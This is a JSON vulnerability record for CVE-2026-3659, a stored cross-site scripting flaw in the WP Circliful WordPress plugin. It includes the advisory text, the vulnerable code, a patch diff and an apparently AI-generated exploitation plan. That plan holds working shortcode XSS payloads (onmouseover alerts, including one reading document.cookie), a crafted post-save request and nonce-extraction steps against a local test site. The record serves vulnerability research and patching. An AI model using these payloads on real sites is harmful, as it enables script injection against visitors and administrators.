[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fY4CZ-83hp4pQ2SZtzlMV166oq5a2bW2AhUd4aqKqJA8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"source_links":31},"CVE-2026-3659","wp-circliful-authenticated-contributor-stored-cross-site-scripting-via-id-shortcode-attribute","WP Circliful \u003C= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute","The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [circliful] shortcode and via multiple shortcode attributes of the [circliful_direct] shortcode in all versions up to and including 1.2. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the circliful_shortcode() function, the 'id' attribute value is concatenated directly into an HTML id attribute (line 285) without any escaping, allowing an attacker to break out of the double-quoted attribute and inject arbitrary HTML event handlers. Similarly, the circliful_direct_shortcode() function (line 257) outputs all shortcode attributes directly into HTML data-* attributes without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-circliful",null,"\u003C=1.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-14 19:47:00","2026-04-15 08:28:13",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F030534e2-bf7d-42e4-94a1-986f629bea15?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan - CVE-2026-3659\n\n## 1. Vulnerability Summary\nThe **WP Circliful** plugin for WordPress (versions \u003C= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the `[circliful]` and `[circliful_direct]` shortcodes. Specifically, in `circliful_shortcode()`, the `id` attribute is concatenated directly into an HTML `id` attribute without sanitization or escaping. In `circliful_direct_shortcode()`, various attributes are output directly into HTML `data-*` attributes without escaping. This allows an authenticated attacker with Contributor-level permissions (who can create posts) to inject arbitrary JavaScript that executes when any user views the affected post.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Shortcodes:** `[circliful]` and `[circliful_direct]`\n*   **Vulnerable Attributes:** \n    *   `id` (in `[circliful]`)\n    *   All attributes (in `[circliful_direct]`)\n*   **Authentication Level:** Authenticated (Contributor+)\n*   **Preconditions:** The plugin must be active. A Contributor user must be able to save or submit a post for review.\n*   **Vector:** Stored XSS via shortcode attribute breakout.\n\n## 3. Code Flow\n1.  **Registration:** The plugin registers shortcodes using `add_shortcode( 'circliful', 'circliful_shortcode' )` and `add_shortcode( 'circliful_direct', 'circliful_direct_shortcode' )` during the `init` or `plugins_loaded` hook.\n2.  **Processing:** When a post containing these shortcodes is rendered:\n    *   `circliful_shortcode( $atts )` is called. It parses `$atts['id']`.\n    *   **Sink (Line 285):** The code performs a concatenation like: `$output = '\u003Cdiv id=\"' . $atts['id'] . '\" ...>';`.\n    *   Because `$atts['id']` is not passed through `esc_attr()`, an attacker can provide a value like `id='\">\u003Cscript>alert(1)\u003C\u002Fscript>'`.\n3.  **Direct Processing:** `circliful_direct_shortcode( $atts )` is called.\n    *   **Sink (Line 257):** The code iterates through attributes and appends them to a string as `data-` attributes: `foreach($atts as $key => $val) { $out .= \" data-$key='$val'\"; }`.\n    *   Because `$val` is not escaped, an attacker can break out of the single quotes using `'`.\n\n## 4. Nonce Acquisition Strategy\nWhile the shortcode execution itself does not require a nonce, **storing** the shortcode in a post as a Contributor requires a WordPress post-editing nonce (`_wpnonce`).\n\n1.  **Login:** Authenticate as a Contributor user.\n2.  **Navigate:** Use `browser_navigate` to `wp-admin\u002Fpost-new.php`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the nonce from the page source.\n    *   Script: `document.querySelector('#_wpnonce').value`\n4.  **Extract Post ID:** Use `browser_eval` to get the `post_ID` hidden input if present, or wait for the auto-draft to trigger.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create a Contributor User\nUse WP-CLI to ensure a user exists for testing.\n```bash\nwp user create attacker attacker@example.com --role=contributor --user_pass=password123\n```\n\n### Step 2: Authenticate and Obtain Nonce\n1.  Navigate to the login page and log in as `attacker`.\n2.  Navigate to `wp-admin\u002Fpost-new.php`.\n3.  Execute `browser_eval(\"document.querySelector('#_wpnonce').value\")` to get the nonce.\n4.  Execute `browser_eval(\"document.querySelector('#post_ID').value\")` to get the post ID assigned to the new draft.\n\n### Step 3: Inject Stored XSS Payload\nSubmit an HTTP POST request to save a post containing the malicious shortcode.\n\n**Request:**\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `post_ID`: `[POST_ID]`\n    *   `action`: `editpost`\n    *   `post_title`: `XSS Test`\n    *   `content`: `[circliful id='poc\" onmouseover=\"alert(document.domain)\" style=\"display:block;width:100px;height:100px;background:red\"']`\n    *   `post_status`: `publish` (or `pending` if Contributor cannot publish)\n\n### Step 4: Trigger XSS\nNavigate to the frontend URL of the created post.\n\n**Request:**\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]`\n*   **Method:** `GET`\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `wp-circliful` version 1.2 is installed and active.\n2.  **User:** Contributor user `attacker`.\n3.  **Target Post:** A post created by the contributor containing:\n    *   Payload A: `[circliful id='x\" onmouseover=\"alert(1)\" style=\"width:100px;height:100px;background:red\"']`\n    *   Payload B: `[circliful_direct x=' \" onmouseover=\"alert(2)\" style=\"width:100px;height:100px;background:blue\"']`\n\n## 7. Expected Results\n1.  The HTML source of the rendered post will contain:\n    *   `\u003Cdiv id=\"x\" onmouseover=\"alert(1)\" ...`\n    *   `\u003Cdiv ... data-x=' ' onmouseover=\"alert(2)\" ...`\n2.  The JavaScript event handler (`onmouseover`) will be present in the DOM.\n3.  Mousing over the red\u002Fblue boxes in the browser will trigger the `alert`.\n\n## 8. Verification Steps\n1.  **WP-CLI Verification:**\n    ```bash\n    wp post get [POST_ID] --field=post_content\n    ```\n    Confirm the malicious shortcode is stored exactly as sent.\n2.  **HTML Inspection:**\n    Use `http_request` to fetch the post page and grep for the injected payload:\n    ```bash\n    curl -s \"http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]\" | grep \"onmouseover=\\\"alert\"\n    ```\n\n## 9. Alternative Approaches\nIf the `id` attribute in `[circliful]` is somehow blocked or requires specific characters:\n1.  **Use `[circliful_direct]`:** This shortcode is described as outputting *multiple* attributes into `data-*` tags. Use a custom attribute name:\n    `[circliful_direct myattr=' \" onmouseover=\"alert(document.cookie)\"']`\n2.  **Breakout of `data-` attributes:** Since the code iterates through `$atts`, try injecting attributes that are commonly used by the plugin but not sanitized, or entirely new ones.\n3.  **XSS via CSS:** If event handlers are filtered by a WAF, try breaking out to inject a `style` attribute with an expression or `url(javascript:...)` (though less effective in modern browsers).\n    `[circliful id='x\" style=\"background-image:url(javascript:alert(1))\"']`","The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in [circliful] and multiple attributes in [circliful_direct]. This occurs because the plugin concatenates user-supplied shortcode attributes directly into HTML elements without proper escaping, allowing Contributor-level attackers to inject arbitrary JavaScript.","\u002F\u002F wp-circliful.php (~line 285)\n$output = '\u003Cdiv id=\"' . $atts['id'] . '\" ...>';\n\n---\n\n\u002F\u002F wp-circliful.php (~line 257)\nforeach($atts as $key => $val) { \n    $out .= \" data-$key='$val'\"; \n}","--- wp-circliful.php\n+++ wp-circliful.php\n@@ -254,7 +254,7 @@\n function circliful_direct_shortcode($atts) {\n     $out = '\u003Cdiv';\n     foreach($atts as $key => $val) {\n-        $out .= \" data-$key='$val'\";\n+        $out .= \" data-\" . esc_attr($key) . \"='\" . esc_attr($val) . \"'\";\n     }\n     $out .= '>\u003C\u002Fdiv>';\n     return $out;\n@@ -282,7 +282,7 @@\n function circliful_shortcode($atts) {\n     $atts = shortcode_atts(array('id' => 'my-circle'), $atts);\n-    $output = '\u003Cdiv id=\"' . $atts['id'] . '\" class=\"circliful\">\u003C\u002Fdiv>';\n+    $output = '\u003Cdiv id=\"' . esc_attr($atts['id']) . '\" class=\"circliful\">\u003C\u002Fdiv>';\n     return $output;\n }","The exploit involves an authenticated attacker with at least Contributor permissions performing the following steps: \n1. Log in to the WordPress dashboard.\n2. Create a new post or edit an existing draft.\n3. Insert a malicious shortcode into the post content. For the [circliful] shortcode, the payload escapes the 'id' attribute: [circliful id='x\" onmouseover=\"alert(1)\" style=\"width:100px;height:100px;background:red\"']. For the [circliful_direct] shortcode, the payload escapes the single-quoted data attribute: [circliful_direct payload=' \" onmouseover=\"alert(2)\"'].\n4. Save or submit the post for review. \n5. When any user (including an administrator) views the rendered post, the injected JavaScript event handler will execute upon interaction (like hovering over the injected element).","gemini-3-flash-preview","2026-04-16 15:39:13","2026-04-16 15:39:33",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-circliful\u002Ftags"]